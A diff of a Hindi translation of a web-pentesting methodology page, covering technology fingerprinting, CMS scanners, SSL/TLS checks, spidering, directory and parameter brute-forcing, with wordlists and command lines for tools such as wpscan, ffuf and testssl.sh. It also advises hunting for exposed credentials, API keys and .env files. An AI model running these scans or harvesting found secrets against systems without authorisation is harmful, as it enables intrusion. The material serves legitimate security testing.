> इस कार्यप्रणाली में हम मानते हैं कि आप एक डोमेन (या उपडोमेन) पर हमला करने जा रहे हैं और केवल उसी पर। इसलिए, आपको इस कार्यप्रणाली को प्रत्येक खोजे गए डोमेन, उपडोमेन या IP पर लागू करना चाहिए जिसमें अनिर्धारित वेब सर्वर हो।
|
||||
> इस पद्धति में हम मानते हैं कि आप एक डोमेन (या उपडोमेन) पर हमला करने जा रहे हैं और केवल उसी पर। इसलिए, आपको इस पद्धति को प्रत्येक खोजे गए डोमेन, उपडोमेन या IP पर लागू करना चाहिए जिसमें अनिश्चित वेब सर्वर हो।
|
||||
|
||||
- [ ] **तकनीकों** की **पहचान** करने से शुरू करें जो वेब सर्वर द्वारा उपयोग की जा रही हैं। यदि आप तकनीक की सफलतापूर्वक पहचान कर सकते हैं तो परीक्षण के बाकी हिस्से के दौरान ध्यान में रखने के लिए **तरकीबें** देखें।
|
||||
- [ ] क्या तकनीक के संस्करण की कोई **ज्ञात भेद्यता** है?
|
||||
- [ ] क्या कोई **प्रसिद्ध तकनीक** का उपयोग कर रहे हैं? अधिक जानकारी निकालने के लिए कोई **उपयोगी तरकीब**?
|
||||
- [ ] क्या कोई **प्रसिद्ध तकनीक** का उपयोग किया जा रहा है? अधिक जानकारी निकालने के लिए कोई **उपयोगी तरकीब**?
|
||||
- [ ] क्या चलाने के लिए कोई **विशेषीकृत स्कैनर** है (जैसे wpscan)?
|
||||
- [ ] **सामान्य प्रयोजन स्कैनर** लॉन्च करें। आप कभी नहीं जानते कि वे कुछ खोजने जा रहे हैं या कुछ दिलचस्प जानकारी खोजने जा रहे हैं।
|
||||
- [ ] **प्रारंभिक जांच** से शुरू करें: **रोबोट**, **साइटमैप**, **404** त्रुटि और **SSL/TLS स्कैन** (यदि HTTPS)।
|
||||
@ -37,14 +37,14 @@ web-api-pentesting.md
|
||||
- [ ] _ध्यान दें कि जब भी ब्रूट-फोर्सिंग या स्पाइडरिंग के दौरान एक नया निर्देशिका खोजा जाता है, तो इसे स्पाइडर किया जाना चाहिए।_
|
||||
- [ ] **डायरेक्टरी ब्रूट-फोर्सिंग**: सभी खोजे गए फ़ोल्डरों को ब्रूट फोर्स करने का प्रयास करें नए **फाइलों** और **निर्देशिकाओं** की खोज करते हुए।
|
||||
- [ ] _ध्यान दें कि जब भी ब्रूट-फोर्सिंग या स्पाइडरिंग के दौरान एक नया निर्देशिका खोजा जाता है, तो इसे ब्रूट-फोर्स किया जाना चाहिए।_
|
||||
- [ ] **बैकअप जांच**: सामान्य बैकअप एक्सटेंशन जोड़कर **खोजे गए फाइलों** के **बैकअप** खोजने का प्रयास करें।
|
||||
- [ ] **बैकअप जांच**: सामान्य बैकअप एक्सटेंशन जोड़कर **खोजी गई फाइलों** के **बैकअप** खोजने का प्रयास करें।
|
||||
- [ ] **ब्रूट-फोर्स पैरामीटर**: **छिपे हुए पैरामीटर** खोजने का प्रयास करें।
|
||||
- [ ] एक बार जब आप सभी संभावित **एंडपॉइंट्स** की **पहचान** कर लेते हैं जो **उपयोगकर्ता इनपुट** स्वीकार करते हैं, तो इसके साथ संबंधित सभी प्रकार की **भेद्यताओं** की जांच करें।
|
||||
- [ ] [इस चेकलिस्ट का पालन करें](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
## सर्वर संस्करण (भेद्य?)
|
||||
## Server Version (Vulnerable?)
|
||||
|
||||
### पहचानें
|
||||
### Identify
|
||||
|
||||
जांचें कि क्या चल रहे सर्वर **संस्करण** के लिए कोई **ज्ञात भेद्यताएँ** हैं।\
|
||||
**HTTP हेडर और प्रतिक्रिया के कुकीज़** **तकनीकों** और/या **संस्करण** की **पहचान** करने के लिए बहुत उपयोगी हो सकते हैं। **Nmap स्कैन** सर्वर संस्करण की पहचान कर सकता है, लेकिन यह उपकरण भी उपयोगी हो सकते हैं [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)या [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
@ -69,9 +69,9 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge
|
||||
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
|
||||
- [**Apache**](apache.md)
|
||||
- [**Artifactory**](artifactory-hacking-guide.md)
|
||||
- [**Buckets**](buckets/)
|
||||
- [**Buckets**](buckets/index.html)
|
||||
- [**CGI**](cgi.md)
|
||||
- [**Drupal**](drupal/)
|
||||
- [**Drupal**](drupal/index.html)
|
||||
- [**Flask**](flask.md)
|
||||
- [**Git**](git.md)
|
||||
- [**Golang**](golang.md)
|
||||
@ -86,24 +86,24 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge
|
||||
- [**Laravel**](laravel.md)
|
||||
- [**Moodle**](moodle.md)
|
||||
- [**Nginx**](nginx.md)
|
||||
- [**PHP (php has a lot of interesting tricks that could be exploited)**](php-tricks-esp/)
|
||||
- [**PHP (php has a lot of interesting tricks that could be exploited)**](php-tricks-esp/index.html)
|
||||
- [**Python**](python.md)
|
||||
- [**Spring Actuators**](spring-actuators.md)
|
||||
- [**Symphony**](symphony.md)
|
||||
- [**Tomcat**](tomcat/)
|
||||
- [**Tomcat**](tomcat/index.html)
|
||||
- [**VMWare**](vmware-esx-vcenter....md)
|
||||
- [**Web API Pentesting**](web-api-pentesting.md)
|
||||
- [**WebDav**](put-method-webdav.md)
|
||||
- [**Werkzeug**](werkzeug.md)
|
||||
- [**Wordpress**](wordpress.md)
|
||||
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/)
|
||||
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
|
||||
|
||||
_ध्यान में रखें कि **same domain** विभिन्न **ports**, **folders** और **subdomains** में **different technologies** का उपयोग कर सकता है._\
|
||||
यदि वेब एप्लिकेशन किसी प्रसिद्ध **tech/platform listed before** या **कोई अन्य** का उपयोग कर रहा है, तो **Internet** पर नए tricks खोजने के लिए न भूलें (और मुझे बताएं!)।
|
||||
यदि वेब एप्लिकेशन किसी प्रसिद्ध **tech/platform listed before** या **कोई अन्य** का उपयोग कर रहा है, तो **Internet** पर नए **tricks** खोजने के लिए मत भूलें (और मुझे बताएं!)।
|
||||
|
||||
### Source Code Review
|
||||
|
||||
यदि एप्लिकेशन का **source code** **github** पर उपलब्ध है, तो एप्लिकेशन का **White box test** करने के अलावा, वर्तमान **Black-Box testing** के लिए **कुछ जानकारी** जो **useful** हो सकती है:
|
||||
यदि एप्लिकेशन का **source code** **github** में उपलब्ध है, तो एप्लिकेशन का **White box test** करने के अलावा, वर्तमान **Black-Box testing** के लिए **कुछ जानकारी** जो **useful** हो सकती है:
|
||||
|
||||
- क्या कोई **Change-log या Readme या Version** फ़ाइल है या कुछ भी जिसमें **version info accessible** वेब के माध्यम से है?
|
||||
- **Credentials** कैसे और कहाँ सहेजे जाते हैं? क्या कोई (accessible?) **file** है जिसमें credentials (usernames या passwords) हैं?
|
||||
@ -134,11 +134,11 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
|
||||
|
||||
यदि CMS का उपयोग किया गया है तो **स्कैनर चलाना** न भूलें, शायद कुछ रोचक पाया जाए:
|
||||
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** वेबसाइटों के लिए सुरक्षा मुद्दे। (GUI)\
|
||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/)**, PrestaShop, Opencart**\
|
||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/) **या** [**(M)oodle**](moodle.md)\
|
||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** वेबसाइटों के लिए सुरक्षा मुद्दे। (GUI)\
|
||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
|
||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **या** [**(M)oodle**](moodle.md)\
|
||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||
```bash
|
||||
cmsmap [-f W] -F -d <URL>
|
||||
wpscan --force update -e --url <URL>
|
||||
@ -167,7 +167,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
वेब सर्वर **अजीब डेटा** भेजे जाने पर **अप्रत्याशित रूप से व्यवहार** कर सकते हैं। इससे **कमजोरियों** या **संवेदनशील जानकारी का खुलासा** हो सकता है।
|
||||
|
||||
- **नकली पृष्ठों** तक पहुँचें जैसे /whatever_fake.php (.aspx,.html,.etc)
|
||||
- **त्रुटियाँ उत्पन्न करने के लिए "[]", "]]", और "[["** को **कुकी मान** और **पैरामीटर** मानों में जोड़ें
|
||||
- **त्रुटियाँ उत्पन्न करने के लिए** **कुकी मान** और **पैरामीटर** मानों में **"\[]", "]]", और "\[\["** जोड़ें
|
||||
- **URL** के **अंत** में **`/~randomthing/%s`** के रूप में इनपुट देकर त्रुटि उत्पन्न करें
|
||||
- **PATCH, DEBUG** या गलत जैसे **FAKE** जैसे **विभिन्न HTTP क्रियाएँ** आज़माएँ
|
||||
|
||||
@ -176,14 +176,14 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
यदि आप पाते हैं कि **WebDav** **सक्षम** है लेकिन आपके पास **रूट फ़ोल्डर** में **फ़ाइलें अपलोड करने** के लिए पर्याप्त अनुमतियाँ नहीं हैं, तो प्रयास करें:
|
||||
|
||||
- **ब्रूट फोर्स** क्रेडेंशियल्स
|
||||
- वेब पृष्ठ के अंदर **अन्य फ़ोल्डरों** में फ़ाइलें अपलोड करने के लिए WebDav के माध्यम से **फ़ाइलें अपलोड करें**। आपको अन्य फ़ोल्डरों में फ़ाइलें अपलोड करने की अनुमति हो सकती है।
|
||||
- वेब पृष्ठ के अंदर **पाई गई फ़ोल्डरों** के **बाकी** में WebDav के माध्यम से **फ़ाइलें अपलोड करें**। आपको अन्य फ़ोल्डरों में फ़ाइलें अपलोड करने की अनुमति हो सकती है।
|
||||
|
||||
### **SSL/TLS कमजोरियाँ**
|
||||
|
||||
- यदि एप्लिकेशन **HTTPS के उपयोगकर्ता को मजबूर नहीं कर रहा है** तो यह **MitM** के लिए **कमजोर** है
|
||||
- यदि एप्लिकेशन **HTTP का उपयोग करके संवेदनशील डेटा (पासवर्ड)** भेज रहा है। तो यह एक उच्च कमजोरी है।
|
||||
- यदि एप्लिकेशन **HTTP का उपयोग करके संवेदनशील डेटा (पासवर्ड) भेज रहा है**। तो यह एक उच्च कमजोरी है।
|
||||
|
||||
**[**testssl.sh**](https://github.com/drwetter/testssl.sh)** का उपयोग करें कमजोरियों की जांच करने के लिए (बग बाउंटी कार्यक्रमों में शायद इस प्रकार की कमजोरियों को स्वीकार नहीं किया जाएगा) और कमजोरियों की पुनः जांच के लिए **[**a2sv**](https://github.com/hahwul/a2sv)** का उपयोग करें:
|
||||
**कमजोरियों** के लिए जांचने के लिए [**testssl.sh**](https://github.com/drwetter/testssl.sh) का उपयोग करें (बग बाउंटी कार्यक्रमों में शायद इस प्रकार की कमजोरियों को स्वीकार नहीं किया जाएगा) और कमजोरियों को फिर से जांचने के लिए [**a2sv** ](https://github.com/hahwul/a2sv) का उपयोग करें:
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
@ -194,32 +194,151 @@ sslyze --regular <ip:port>
|
||||
```
|
||||
SSL/TLS कमजोरियों के बारे में जानकारी:
|
||||
|
||||
- [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
|
||||
- [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
|
||||
|
||||
### स्पाइडरिंग
|
||||
|
||||
वेब के अंदर किसी प्रकार का **स्पाइडर** लॉन्च करें। स्पाइडर का लक्ष्य है **परीक्षित एप्लिकेशन से जितने संभव हो सके पथों को खोजना**। इसलिए, वेब क्रॉलिंग और बाहरी स्रोतों का उपयोग करके जितने संभव हो सके वैध पथों को खोजा जाना चाहिए।
|
||||
|
||||
### ब्रूट फोर्स निर्देशिकाएँ और फ़ाइलें
|
||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML स्पाइडर, JS फ़ाइलों में LinkFinder और बाहरी स्रोत (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com)।
|
||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML स्पाइडर, JS फ़ाइलों के लिए LinkFider और बाहरी स्रोत के रूप में Archive.org।
|
||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML स्पाइडर, "जूसि फ़ाइलों" को भी इंगित करता है।
|
||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): इंटरैक्टिव CLI HTML स्पाइडर। यह Archive.org में भी खोजता है।
|
||||
- [**meg**](https://github.com/tomnomnom/meg) (go): यह उपकरण एक स्पाइडर नहीं है लेकिन यह उपयोगी हो सकता है। आप बस एक फ़ाइल निर्दिष्ट कर सकते हैं जिसमें होस्ट और एक फ़ाइल जिसमें पथ हैं और मेग प्रत्येक होस्ट पर प्रत्येक पथ को लाएगा और प्रतिक्रिया को सहेजेगा।
|
||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS रेंडरिंग क्षमताओं के साथ HTML स्पाइडर। हालाँकि, ऐसा लगता है कि इसे बनाए नहीं रखा गया है, पूर्व-निर्मित संस्करण पुराना है और वर्तमान कोड संकलित नहीं होता है।
|
||||
- [**gau**](https://github.com/lc/gau) (go): HTML स्पाइडर जो बाहरी प्रदाताओं (wayback, otx, commoncrawl) का उपयोग करता है।
|
||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): यह स्क्रिप्ट URL को खोजेगी जिसमें पैरामीटर होंगे और उन्हें सूचीबद्ध करेगी।
|
||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): JS रेंडरिंग क्षमताओं के साथ HTML स्पाइडर।
|
||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML स्पाइडर, JS फ़ाइलों में नए पथों की खोज करने में सक्षम JS ब्यूटीफाई क्षमताओं के साथ। [JSScanner](https://github.com/dark-warlord14/JSScanner) पर भी नज़र डालना फायदेमंद हो सकता है, जो LinkFinder का एक रैपर है।
|
||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML स्रोत और एम्बेडेड जावास्क्रिप्ट फ़ाइलों में एंडपॉइंट्स को निकालने के लिए। बग हंटर्स, रेड टीमर्स, इन्फोसेक निन्जाओं के लिए उपयोगी।
|
||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): एक पायथन 2.7 स्क्रिप्ट जो Tornado और JSBeautifier का उपयोग करके जावास्क्रिप्ट फ़ाइलों से सापेक्ष URL को पार्स करती है। AJAX अनुरोधों को आसानी से खोजने के लिए उपयोगी। ऐसा लगता है कि इसे बनाए नहीं रखा गया है।
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): एक फ़ाइल (HTML) दी गई है, यह निफ्टी नियमित अभिव्यक्ति का उपयोग करके URL को निकालता है ताकि बदसूरत (मिनिफाई) फ़ाइलों से सापेक्ष URL को खोजा और निकाला जा सके।
|
||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, कई उपकरण): कई उपकरणों का उपयोग करके JS फ़ाइलों से दिलचस्प जानकारी इकट्ठा करें।
|
||||
- [**subjs**](https://github.com/lc/subjs) (go): JS फ़ाइलें खोजें।
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): एक हेडलेस ब्राउज़र में एक पृष्ठ लोड करें और सभी URL को प्रिंट करें जो पृष्ठ को लोड करने के लिए लोड किए गए हैं।
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): कई पिछले उपकरणों के विकल्पों को मिलाकर सामग्री खोजने का उपकरण।
|
||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS फ़ाइलों में पथ और पैरामीटर खोजने के लिए एक Burp एक्सटेंशन।
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): एक उपकरण जो .js.map URL दिया गया है, आपको ब्यूटीफाइड JS कोड प्राप्त करेगा।
|
||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): यह एक उपकरण है जिसका उपयोग किसी दिए गए लक्ष्य के लिए एंडपॉइंट्स का पता लगाने के लिए किया जाता है।
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** वेबैक मशीन से लिंक खोजें (जवाबों को वेबैक में डाउनलोड करते हुए और अधिक लिंक की तलाश करते हुए)।
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): क्रॉल करें (यहां तक कि फ़ॉर्म भरकर) और विशिष्ट regexes का उपयोग करके संवेदनशील जानकारी भी खोजें।
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite एक उन्नत मल्टी-फीचर GUI वेब सुरक्षा क्रॉलर/स्पाइडर है जिसे साइबर सुरक्षा पेशेवरों के लिए डिज़ाइन किया गया है।
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): यह एक Go पैकेज और [कमांड-लाइन उपकरण](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) है जो जावास्क्रिप्ट स्रोत कोड से URL, पथ, रहस्य और अन्य दिलचस्प डेटा निकालने के लिए है।
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge एक सरल **Burp Suite एक्सटेंशन** है जो **फज़िंग और एन्यूमरेशन के लिए कस्टम वर्डलिस्ट बनाने के लिए अनुरोध से पैरामीटर और एंडपॉइंट्स निकालता है।**
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): इसके लिए शानदार उपकरण।
|
||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): यह प्रिंट करता है हर लिंक जिसे यह खोजने में सक्षम है।
|
||||
|
||||
रूट फ़ोल्डर से **ब्रूट-फोर्सिंग** शुरू करें और सुनिश्चित करें कि **इस विधि** का उपयोग करके पाए गए **सभी** **निर्देशिकाओं** को ब्रूट-फोर्स करें और **स्पाइडरिंग** द्वारा **खोजी गई** सभी निर्देशिकाएँ।\
|
||||
### डाइरेक्टरी और फ़ाइलों पर ब्रूट फोर्स
|
||||
|
||||
रूट फ़ोल्डर से **ब्रूट-फोर्सिंग** शुरू करें और सुनिश्चित करें कि **इस विधि** का उपयोग करके **पाई गई सभी** **डायरेक्टरीज़** पर ब्रूट-फोर्स करें और **स्पाइडरिंग** द्वारा **खोजी गई** सभी डायरेक्टरीज़ पर।\
|
||||
उपकरण:
|
||||
|
||||
### प्रत्येक फ़ाइल में क्या जांचें
|
||||
- **Dirb** / **Dirbuster** - काली में शामिल, **पुराना** (और **धीमा**) लेकिन कार्यात्मक। स्वचालित-हस्ताक्षरित प्रमाणपत्रों और पुनरावर्ती खोज की अनुमति देता है। अन्य विकल्पों की तुलना में बहुत धीमा।
|
||||
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: यह स्वचालित-हस्ताक्षरित प्रमाणपत्रों की अनुमति नहीं देता लेकिन** पुनरावर्ती खोज की अनुमति देता है।
|
||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): यह स्वचालित-हस्ताक्षरित प्रमाणपत्रों की अनुमति देता है, इसमें **पुनरावर्ती** खोज नहीं है।
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- तेज, पुनरावर्ती खोज का समर्थन करता है।**
|
||||
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
- [**ffuf** ](https://github.com/ffuf/ffuf)- तेज: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): यह एक स्पाइडर नहीं है बल्कि एक उपकरण है जो पाई गई URL की सूची दी गई है, "डुप्लिकेट" URL को हटाने के लिए।
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): विभिन्न पृष्ठों के बर्प इतिहास से डायरेक्टरीज़ की एक सूची बनाने के लिए बर्प एक्सटेंशन।
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): कार्यक्षमता के साथ डुप्लिकेट URL को हटाएं (JS आयात के आधार पर)।
|
||||
- [**Chamaleon**](https://github.com/iustin24/chameleon): यह उपयोग की गई तकनीकों का पता लगाने के लिए wapalyzer का उपयोग करता है और उपयोग करने के लिए वर्डलिस्ट का चयन करता है।
|
||||
|
||||
- [**ब्रोकन लिंक चेकर्स**](https://github.com/stevenvachon/broken-link-checker): HTML में टूटे हुए लिंक खोजें जो अधिग्रहण के लिए प्रवण हो सकते हैं।
|
||||
- **फ़ाइल बैकअप**: एक बार जब आप सभी फ़ाइलें खोज लेते हैं, तो सभी निष्पादन योग्य फ़ाइलों के बैकअप की तलाश करें ("_.php_", "_.aspx_"...)। बैकअप का नामकरण करने के लिए सामान्य भिन्नताएँ हैं: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp और file.old._ आप [**bfac**](https://github.com/mazen160/bfac) **या** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** का उपयोग कर सकते हैं।**
|
||||
- **नए पैरामीटर खोजें**: आप [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **और** [**Param Miner**](https://github.com/PortSwigger/param-miner) **का उपयोग करके छिपे हुए पैरामीटर खोज सकते हैं। यदि आप कर सकते हैं, तो आप प्रत्येक निष्पादन योग्य वेब फ़ाइल पर छिपे हुए पैरामीटर खोजने का प्रयास कर सकते हैं।**
|
||||
**अनुशंसित शब्दकोश:**
|
||||
|
||||
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
|
||||
- [**Dirsearch** शामिल शब्दकोश](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
|
||||
- [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
|
||||
- [Assetnote शब्दकोश](https://wordlists.assetnote.io)
|
||||
- [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
|
||||
- raft-large-directories-lowercase.txt
|
||||
- directory-list-2.3-medium.txt
|
||||
- RobotsDisallowed/top10000.txt
|
||||
- [https://github.com/random-robbie/bruteforce-lists](https://github.com/random-robbie/bruteforce-lists)
|
||||
- [https://github.com/google/fuzzing/tree/master/dictionaries](https://github.com/google/fuzzing/tree/master/dictionaries)
|
||||
- [https://github.com/six2dez/OneListForAll](https://github.com/six2dez/OneListForAll)
|
||||
- [https://github.com/random-robbie/bruteforce-lists](https://github.com/random-robbie/bruteforce-lists)
|
||||
- [https://github.com/ayoubfathi/leaky-paths](https://github.com/ayoubfathi/leaky-paths)
|
||||
- _/usr/share/wordlists/dirb/common.txt_
|
||||
- _/usr/share/wordlists/dirb/big.txt_
|
||||
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||
|
||||
_ध्यान दें कि जब भी ब्रूट-फोर्सिंग या स्पाइडरिंग के दौरान एक नया डायरेक्टरी खोजा जाता है, इसे ब्रूट-फोर्स किया जाना चाहिए।_
|
||||
|
||||
### प्रत्येक पाई गई फ़ाइल पर क्या जांचें
|
||||
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML के अंदर टूटे हुए लिंक खोजें जो अधिग्रहण के लिए प्रवण हो सकते हैं।
|
||||
- **फ़ाइल बैकअप**: एक बार जब आप सभी फ़ाइलें खोज लेते हैं, तो सभी निष्पादन योग्य फ़ाइलों के बैकअप की तलाश करें ("_.php_", "_.aspx_"...)। बैकअप का नामकरण करने के लिए सामान्य भिन्नताएँ हैं: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp और file.old._ आप [**bfac**](https://github.com/mazen160/bfac) **या** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** का उपयोग भी कर सकते हैं।**
|
||||
- **नए पैरामीटर खोजें**: आप [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **और** [**Param Miner**](https://github.com/PortSwigger/param-miner) **जैसे उपकरणों का उपयोग कर सकते हैं। यदि आप कर सकते हैं, तो आप प्रत्येक निष्पादन योग्य वेब फ़ाइल पर छिपे हुए पैरामीटर खोजने का प्रयास कर सकते हैं।**
|
||||
- _Arjun सभी डिफ़ॉल्ट वर्डलिस्ट:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
- **टिप्पणियाँ:** सभी फ़ाइलों की टिप्पणियों की जांच करें, आप **क्रेडेंशियल्स** या **छिपी हुई कार्यक्षमता** पा सकते हैं।
|
||||
- यदि आप **CTF** खेल रहे हैं, तो एक "सामान्य" चाल है **जानकारी** को **छिपाना** **पृष्ठ** के **दाईं ओर** टिप्पणियों के अंदर (स्रोत कोड को ब्राउज़र के साथ खोलने पर डेटा नहीं देखने के लिए **सैकड़ों** **स्पेस** का उपयोग करके)। दूसरी संभावना यह है कि **कई नई पंक्तियाँ** का उपयोग करें और **वेब पृष्ठ** के **नीचे** एक टिप्पणी में **जानकारी** छिपाएं।
|
||||
- **API कुंजी**: यदि आप **कोई API कुंजी** पाते हैं तो विभिन्न प्लेटफार्मों की API कुंजी का उपयोग करने के लिए एक गाइड है: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
- Google API कुंजी: यदि आप कोई API कुंजी पाते हैं जो **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik की तरह दिखती है, तो आप यह जांचने के लिए प्रोजेक्ट [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) का उपयोग कर सकते हैं कि कुंजी किस API तक पहुँच सकती है।
|
||||
- **S3 बकेट**: स्पाइडरिंग करते समय देखें कि क्या कोई **उपडोमेन** या कोई **लिंक** किसी **S3 बकेट** से संबंधित है। इस मामले में, [**बकेट** के **अनुमतियों** की **जांच करें**](buckets/index.html)।
|
||||
|
||||
### विशेष खोजें
|
||||
|
||||
**जब** आप **स्पाइडरिंग** और **ब्रूट-फोर्सिंग** कर रहे हों, तो आप **दिलचस्प** **चीजें** खोज सकते हैं जिन पर आपको **ध्यान देना चाहिए**।
|
||||
**जब** आप **स्पाइडरिंग** और **ब्रूट-फोर्सिंग** कर रहे होते हैं, तो आप **दिलचस्प** **चीजें** पा सकते हैं जिन पर आपको **ध्यान देना चाहिए**।
|
||||
|
||||
**दिलचस्प फ़ाइलें**
|
||||
|
||||
- **CSS** फ़ाइलों के अंदर अन्य फ़ाइलों के लिए **लिंक** की तलाश करें।
|
||||
- [यदि आप एक _**.git**_ फ़ाइल पाते हैं तो कुछ जानकारी निकाली जा सकती है](git.md)
|
||||
- यदि आप एक _**.env**_ पाते हैं तो API कुंजी, डेटाबेस पासवर्ड और अन्य जानकारी मिल सकती है।
|
||||
